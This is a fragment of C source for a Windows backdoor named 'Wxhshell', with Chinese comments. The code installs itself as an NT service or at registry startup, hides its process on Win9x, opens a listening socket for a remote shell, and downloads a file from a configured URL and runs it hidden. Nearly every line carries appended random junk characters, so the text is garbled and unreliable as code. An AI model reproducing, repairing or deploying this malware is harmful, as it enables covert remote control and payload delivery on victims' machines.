ULONG UniqueProcessId; 1#0{@35
ULONG InheritedFromUniqueProcessId; ++V=s\d7
} PROCESS_BASIC_INFORMATION; +;#Y]xy:
7tcPwCc{
PROCNTQSIP NtQueryInformationProcess; Kd=%tNp
? P(
ZA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BI $
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m3mp/g.>
!!`!|w
HANDLE hProcess; 't6V:X
PROCESS_BASIC_INFORMATION pbi; /)4I|"}R0I
_g~qu
[1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yp66{o
if(NULL == hInst ) return 0; |=$-Wu
.8P.)%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JvT"bZk(o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }(1JaG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~fT_8z
pb$~b\s]=
if (!NtQueryInformationProcess) return 0; qU#BJON]BR
v7DE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ B5gR
if(!hProcess) return 0; zJ)*Z,7
'rr^2d]`ST
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; il \$@Bn
o]p|-<I Q
CloseHandle(hProcess); VxXzAeM
]Yvga!S"C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H<}^'#"p
if(hProcess==NULL) return 0; F$hYKT2|
LWHd~"eU
HMODULE hMod;
8`fjF/
char procName[255]; $`-4Ax4%
unsigned long cbNeeded; =Q[b'*o7
Nqrmp" ]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1f8GW
hWT[L.>k
CloseHandle(hProcess); A _XhuQB;d
MHsc+gQiz
if(strstr(procName,"services")) return 1; // 以服务启动 TH$N5w%
E[bd@[N
8
return 0; // 注册表启动 ! ykx^z
} ODC8D>ZYl
tX"Th'Qi
// 主模块 ,I_^IitN
int StartWxhshell(LPSTR lpCmdLine) YJl("MZ
{ NN1$'"@NL
SOCKET wsl; ^pe{b9c
BOOL val=TRUE; Hx\H $Y
int port=0; 'I /aboDB
struct sockaddr_in door;
stk9Ah
y;AL'vm9
if(wscfg.ws_autoins) Install(); H03jDM8Q
&ZX{R#[L
port=atoi(lpCmdLine); %B)6$!x
IrWD%/$H
if(port<=0) port=wscfg.ws_port; S -'fS2
qq1 - DG
WSADATA data; mBG=jI "xh
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BYo/57&:
nYa*b=[.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0#YX=vjX7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $LLA,?;!
door.sin_family = AF_INET; t6A:ZmG_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1s{^X
-
door.sin_port = htons(port); {nvLPUL
GKFq+]W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3RR_fmMT)
closesocket(wsl); 1[t=XDz/e
return 1; U=o"32n+
} ^=^z1M2P
k!KDWb
if(listen(wsl,2) == INVALID_SOCKET) { -~QHqU.
closesocket(wsl); 8-Hsgf.*
return 1; Z+StB15
} 3:f[gV9K
Wxhshell(wsl); r@o6voX
WSACleanup(); 0`I-2M4F*Q
Iy.rqc/86
return 0; -pE(_
pOrWg@<\L
} Xe^Cn
R
z8J."27ND
// 以NT服务方式启动 fuB)qt!E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CCX8>09
{ Q26qNn
bK
DWORD status = 0; ^_%kE%I
DWORD specificError = 0xfffffff; D^-7JbE]
Kmdlf,[3d
serviceStatus.dwServiceType = SERVICE_WIN32; RJON90,J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `r_m+]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k~|-gfFP
serviceStatus.dwWin32ExitCode = 0; D Kw*~0
serviceStatus.dwServiceSpecificExitCode = 0; j$7Xs"
serviceStatus.dwCheckPoint = 0; F|HJH"2*&q
serviceStatus.dwWaitHint = 0; 4#'("#R
*k1<:
@%e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a !mf;m
if (hServiceStatusHandle==0) return; A;O~#Chvd
iK IOh('G
status = GetLastError(); 03iv3/{H
if (status!=NO_ERROR) Zxb_K
{ fI7j):h;
serviceStatus.dwCurrentState = SERVICE_STOPPED; |P.6<
serviceStatus.dwCheckPoint = 0; .<K
iMh
serviceStatus.dwWaitHint = 0; 3tmdi 3s
serviceStatus.dwWin32ExitCode = status; W},b{NT
serviceStatus.dwServiceSpecificExitCode = specificError; ejO}t:}P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zP;cTF(C
return; R i'L
} $DP&a1'g
Na\WZSu'"
serviceStatus.dwCurrentState = SERVICE_RUNNING; atW'
serviceStatus.dwCheckPoint = 0; Go&D[#
serviceStatus.dwWaitHint = 0; @y/wEBb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _HA$
j2
} Jy
aag-
Jz! Z2c
// 处理NT服务事件,比如:启动、停止 ,o7hk{fR*
VOID WINAPI NTServiceHandler(DWORD fdwControl) lMz<s
{ !P$'#5mr
switch(fdwControl) (?*BB3b`
{ p<v.Q
case SERVICE_CONTROL_STOP: i#%a- I:M
serviceStatus.dwWin32ExitCode = 0; wfjc/u9W6R
serviceStatus.dwCurrentState = SERVICE_STOPPED; }BmS)Jq
serviceStatus.dwCheckPoint = 0; q,2]5'
serviceStatus.dwWaitHint = 0; .Xdj(_&
{ sncIqsZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jkF8\dR
} :EtMH(
return; G8I Y#
case SERVICE_CONTROL_PAUSE: oQ7]=|
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0gn@h/F2%
break; /V?H4z[G
case SERVICE_CONTROL_CONTINUE: {gKN d*[*
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]}UgS+g>$
break; e\b`n}nC
case SERVICE_CONTROL_INTERROGATE: PjIeZ&p
break; =D^TK-H
}; s6}Xt=j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SjEdyN#
} !tHt,eJy
G^(}a]>9
// 标准应用程序主函数 EHlytG}@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a?R[J==
{ 0~ &"
T|"7sPgGR
// 获取操作系统版本 ?/JBt
/b
OsIsNt=GetOsVer(); Fn^C{p^
GetModuleFileName(NULL,ExeFile,MAX_PATH); GyC /_ntn
pX=,iOF[I
// 从命令行安装 %k0EpJE%
if(strpbrk(lpCmdLine,"iI")) Install(); dS`Bk6Y
X[W]=yJJ
// 下载执行文件 ]=!P(z|
if(wscfg.ws_downexe) { I@l>w._.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D0;tcm.$
WinExec(wscfg.ws_filenam,SW_HIDE); rQP"Y[
} @:x"]!1
AA:no=
if(!OsIsNt) { 7);:ZpDv%L
// 如果时win9x,隐藏进程并且设置为注册表启动 *g;-H&`
HideProc(); I|/'Ds:
StartWxhshell(lpCmdLine); @+_&Y]
} y)F!c29
else E:nt)Ef,
if(StartFromService()) oH2!5;A|
// 以服务方式启动 gZT)pP
StartServiceCtrlDispatcher(DispatchTable); _B,_4}
else 9B)(>~q
// 普通方式启动 @gSkROCdC)
StartWxhshell(lpCmdLine); Bfd-:`Jk
j|e[s ?d
return 0; X-B8MoG|
}